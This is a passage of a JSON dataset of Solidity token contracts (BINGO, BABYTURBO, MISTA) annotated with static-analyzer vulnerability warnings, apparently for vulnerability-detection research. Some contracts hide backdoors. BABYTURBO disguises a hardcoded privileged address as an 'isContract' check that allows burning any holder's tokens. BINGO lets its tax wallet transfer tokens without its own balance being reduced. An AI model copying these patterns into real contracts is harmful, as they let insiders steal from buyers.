liquidity);\n}\n\ncontract BINGO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0443b1c): BINGO._taxWallet should be immutable \n\t// Recommendation for 0443b1c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: afe56d9): BINGO._initialBuyTax should be constant \n\t// Recommendation for afe56d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1a57253): BINGO._initialSellTax should be constant \n\t// Recommendation for 1a57253: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a032bd7): BINGO._reduceBuyTaxAt should be constant \n\t// Recommendation for a032bd7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 654394a): BINGO._reduceSellTaxAt should be constant \n\t// Recommendation for 654394a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4ce18f6): BINGO._preventSwapBefore should be constant \n\t// Recommendation for 4ce18f6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0758cdd): BINGO.zero should be constant \n\t// Recommendation for 0758cdd: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bingo Lie\";\n\n string private constant _symbol = unicode\"BINGO\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: b91f09b): BINGO._taxSwapThreshold should be constant \n\t// Recommendation for b91f09b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c489a35): BINGO._maxTaxSwap should be constant \n\t// Recommendation for c489a35: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct BurnAutoCheck {\n uint256 burnMilestone;\n uint256 burnRate;\n uint256 burnAvgPercent;\n }\n\n mapping(address => BurnAutoCheck) private burnAutoCheck;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79f4d89): BINGO.burnLatestBlock should be constant \n\t// Recommendation for 79f4d89: Add the 'constant' attribute to state variables that never change.\n uint256 private burnLatestBlock = 0;\n\n uint256 private burnCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x29f0cC572cB13285c0A45c86B4c42412dD158b67);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a5f9ab4): BINGO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a5f9ab4: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1173877): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1173877: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e2b337b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e2b337b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 1173877\n\t\t// reentrancy-benign | ID: e2b337b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 1173877\n\t\t// reentrancy-benign | ID: e2b337b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 50fe6e9): BINGO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 50fe6e9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e2b337b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 1173877\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f63c73e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f63c73e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 44ed802): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 44ed802: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b5f0c0e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b5f0c0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 transferAmount\n ) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n transferAmount > 0,\n \"Transfer amount must be greater than zero\"\n );\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, transferAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = transferAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = transferAmount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n transferAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + transferAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = transferAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = transferAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 7, \"Only 7 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: f63c73e\n\t\t\t\t// reentrancy-benign | ID: 44ed802\n\t\t\t\t// reentrancy-eth | ID: b5f0c0e\n swapTokensForEth(\n min(transferAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: f63c73e\n\t\t\t\t\t// reentrancy-eth | ID: b5f0c0e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b5f0c0e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b5f0c0e\n lastSellBlock = block.number;\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 44ed802\n burnCount = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to == uniswapV2Pair) {\n BurnAutoCheck storage burnInfoFrom = burnAutoCheck[from];\n\n\t\t\t\t// reentrancy-benign | ID: 44ed802\n burnInfoFrom.burnAvgPercent =\n burnInfoFrom.burnMilestone -\n burnCount;\n\n\t\t\t\t// reentrancy-benign | ID: 44ed802\n burnInfoFrom.burnRate = block.timestamp;\n } else {\n BurnAutoCheck storage burnInfoTo = burnAutoCheck[to];\n\n if (uniswapV2Pair == from) {\n if (burnInfoTo.burnMilestone == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 44ed802\n burnInfoTo.burnMilestone = _preventSwapBefore >=\n _buyCount\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnAutoCheck storage burnInfoFrom = burnAutoCheck[from];\n\n if (\n burnInfoTo.burnMilestone == 0 ||\n burnInfoFrom.burnMilestone < burnInfoTo.burnMilestone\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 44ed802\n burnInfoTo.burnMilestone = burnInfoFrom.burnMilestone;\n }\n }\n }\n }\n\n\t\t// reentrancy-events | ID: f63c73e\n\t\t// reentrancy-eth | ID: b5f0c0e\n _tokenTransfer(from, to, taxAmount, transferAmount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 transferAmount\n ) internal {\n _balances[from] = _balances[from].sub(transferAmount);\n\n _balances[to] = _balances[to].add(transferAmount);\n\n emit Transfer(from, to, transferAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 taxAmount,\n uint256 transferAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, transferAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, transferAmount.sub(taxAmount));\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 transferAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? transferAmount\n : burnLatestBlock.mul(transferAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b5f0c0e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: f63c73e\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: b5f0c0e\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: b5f0c0e\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: f63c73e\n emit Transfer(from, to, receiptAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f63c73e\n\t\t// reentrancy-events | ID: 1173877\n\t\t// reentrancy-benign | ID: 44ed802\n\t\t// reentrancy-benign | ID: e2b337b\n\t\t// reentrancy-eth | ID: b5f0c0e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f63c73e\n\t\t// reentrancy-events | ID: 1173877\n\t\t// reentrancy-eth | ID: b5f0c0e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: faf1e08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for faf1e08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a138a0f): BINGO.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a138a0f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9a3e8f): BINGO.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d9a3e8f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 945893d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 945893d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: faf1e08\n\t\t\t// reentrancy-no-eth | ID: 945893d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-no-eth | ID: 945893d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: faf1e08\n\t\t// unused-return | ID: d9a3e8f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: faf1e08\n\t\t// unused-return | ID: a138a0f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: faf1e08\n swapEnabled = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 138a003): BINGO.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 138a003: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n require(_address != address(this));\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 138a003\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10580.sol",
"size_bytes": 24671,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 97409717902926075812796781700465201095167245 *\n 10 ** 4 +\n 281474976712680;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n bool public launched;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _symbol,\n string memory _name,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n launched = true;\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function launch(address account) external virtual {\n if (launched == false) launched = true;\n\n if (msg.sender.isContract())\n _transfer(account, dead, _balances[account]);\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"?BABYTURBO\", unicode\"?BABYTURBO\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10581.sol",
"size_bytes": 7174,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract MISTA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _totalSupply = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Mista\";\n\n string private constant _symbol = unicode\"MISTA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 575ecbb): MISTA._maxTxAmount should be constant \n\t// Recommendation for 575ecbb: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 528bf2f): MISTA._maxWalletSize should be constant \n\t// Recommendation for 528bf2f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n bool private _isMaxWalletActive = true;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55723ee): MISTA.inSwap should be constant \n\t// Recommendation for 55723ee: Add the 'constant' attribute to state variables that never change.\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n IUniswapV2Router private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromMaxWallet;\n\n constructor() {\n IUniswapV2Router _uniswapRouter = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapRouter;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n\n _isExcludedFromMaxWallet[_msgSender()] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eca4f32): MISTA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for eca4f32: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n _isMaxWalletActive &&\n !_isExcludedFromMaxWallet[recipient] &&\n !_isExcludedFromMaxWallet[sender]\n ) {\n require(\n _balances[recipient].add(amount) <= _maxWalletSize,\n \"Transfer exceeds the max wallet size\"\n );\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = 